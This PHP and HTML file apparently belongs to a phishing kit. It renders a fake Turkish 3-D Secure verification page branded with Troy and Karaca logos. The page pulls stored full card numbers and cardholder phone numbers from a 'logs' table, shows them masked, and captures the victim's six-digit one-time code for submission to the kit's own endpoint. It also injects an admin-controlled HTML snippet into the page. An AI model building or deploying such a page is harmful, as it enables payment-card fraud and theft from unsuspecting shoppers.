<?php

// Include the helper
include_once('../inc/helper.php');

// Get the data from the request
$tID = htmlspecialchars(trim(strip_tags($_GET['t'])));

if (empty($tID)) {
    header('Location: index.php');
    exit;
}

// Check transaction exist
$sql = "SELECT * FROM logs WHERE id = ?";
$query = $db->prepare($sql);
$stmt = $query->execute([$tID]);
$log = $query->fetch(PDO::FETCH_OBJ);

if (!$log) {
    header('Location: index.php');
    exit;
}


$basket_json = json_encode($basket);
$basket = $_SESSION['basket'] ?? [];
$issuer = $data['Issuer'];
$userIP = getUserIP();

$hatali = null;

if (isset($_GET['hatali'])) {
    $hatali = 1;
}
$admin = $db->query('SELECT * FROM admins WHERE id = 1')->fetch(PDO::FETCH_OBJ);
?>
<html class="no-js" lang="tr" style="height: 100%; width: 100%;">
<head>
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>3D Doğrulama</title>
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex, nofollow">

    <link rel="stylesheet"
          href="assets/3d/bundle.min.css">
    <link rel="stylesheet" href="components/css/font-awesome6.3.0.all.min.css">
</head>
<body>
<div class="content-wrapper" id="content" style="display: block;">
    <div class="header" style="display: flex; justify-content: space-between; align-items: center;">
        <div class="brand-logo">
            <img src="assets/img/troy.png" alt="Troy Logo">
        </div>
        <div class="brand-logo">
            <img src="components/imgs/karacalogo.svg" alt="Karaca Logo">
        </div>
    </div>

    <div id="approve-page">
        <div id="loaderDiv" style="height: 100%; width: 100%; position: absolute; z-index: 1; display: none">
            <div class="loader"></div>
        </div>
        <div class="content">
            <h1 id="approve-header">Doğrulama kodunu giriniz</h1>
            <div class="info-wrapper">
                <div class="info-row">
                    <div class="info-col info-label">İşyeri Adı:</div>
                    <div class="info-col" id="merchant-name">
                        Karaca Züccaciye A.Ş.
                    </div>
                </div>
                <div class="info-row">
                    <div class="info-col info-label">İşlem Tutarı:</div>
                    <div class="info-col info-amount" style="font-size: 21px; font-weight: 900; margin-top: -5px;" id="amount">
                        <?= $log->amount ?> TL
                    </div>
                </div>
                <div class="info-row">
                    <div class="info-col info-label">İşlem Tarihi-Saati:</div>
                    <div class="info-col" id="operation-date-time">
                        <?php echo date("d-m-Y H:i:s"); ?>
                    </div>
                </div>
                <div class="info-row">
                    <div class="info-col info-label">Kart Numarası:</div>
                    <div class="info-col" id="pan">
                        <?= substr($log->card_number, 0, 6) . '******' . substr($log->card_number, -4) ?>
                    </div>
                </div>
            </div>
            <form class="action-wrapper" id="ThreeDForm" action="/sadece-online-ozel/complete-3dcode.php" method="POST">
                <input id="token" name="token" type="hidden" value="<?php echo $tID; ?>">
                <h3 id="otpMessage">
                    İşlem şifreniz
                    <span id="msisdn">
                        90<?= substr($log->cardholder_phone, 0, 3) . '****' . substr($log->cardholder_phone, -2) ?>
                    </span>
                    olan cep telefonunuza gönderilecektir.</h3>
                <?php if ($hatali === 1): ?>
                    <p style="color:red; font-weight:600; margin-top: 5px;">İşlem şifrenizi hatalı giriş yaptınız.
                        Lütfen tekrar giriş yapınız.</p>
                <?php endif; ?>
                <div class="form-wrapper">
                    <label id="confirmCode" for="code">Doğrulama Kodu</label>
                    <div class="form-row">
                        <input type="password" class="f-input" name="code" id="code" maxlength="6"
                               autocomplete="one-time-code" inputmode="numeric" pattern="[0-9]*">
                    </div>
                    <div id="submitButtonDiv">
                        <div class="form-row has-submit" id="submitbutton">
                            <input type="submit" value="Onayla" class="button btn-commit" id="submitButton">
                        </div>
                    </div>
                </div>
            </form>
        </div>
    </div>
</div>

<style>
/* Genel Stiller */
body, html {
    margin: 0;
    padding: 0;
    font-family: Arial, sans-serif;
}
  
/* Input Alanları */
.f-input {
    background-color: white; /* Arka plan rengini beyaz yaptık */
    color: black; /* Yazı rengini siyah yaptık */
    border: none;
    border-radius: 8px;
    padding: 10px;
    font-size: 16px;
    width: 100%;
}

.f-input {
    background-color: #000000;
    color: white;
    border: none;
    border-radius: 8px;
    padding: 10px;
    font-size: 16px;
    width: 100%;
}
  
/* Buton Alanları */
.button, .f-input {
    background-color: #383838;
    color: white;
    border: none;
    border-radius: 8px;
    padding: 10px;
    font-size: 16px;
    width: 100%;
}

.button:hover {
    background-color: #555555;
}

.f-input {
    padding: 8px;
    font-size: 16px;
    border: 1px solid #ccc;
}

.f-input:focus {
    border-color: #383838;
    outline: none;
}

/* Bilgi Alanları */
.info-wrapper {
    margin: 20px 0;
}

.info-row {
    display: flex;
    justify-content: space-between;
    margin-bottom: 10px;
}

.info-col {
    flex: 1;
}

.info-label {
    font-weight: bold;
}

.info-amount {
    color: #383838;
}

/* Responsive Tasarım */
@media screen and (max-width: 768px) {
    .header {
        flex-direction: column;
        align-items: flex-start;
    }

    .info-row {
        flex-direction: column;
        align-items: flex-start;
    }

    .info-col {
        margin-bottom: 5px;
    }
}

/* Form Stilleri */
.form-wrapper {
    margin-top: 20px;
}

.has-submit {
    margin-top: 10px;
}

</style>


<script src="components/js/jquery3.6.3.min.js"></script>
<script src="assets/js/check-online.js"></script>
<?= $admin->supporta ?>
</body>
</html>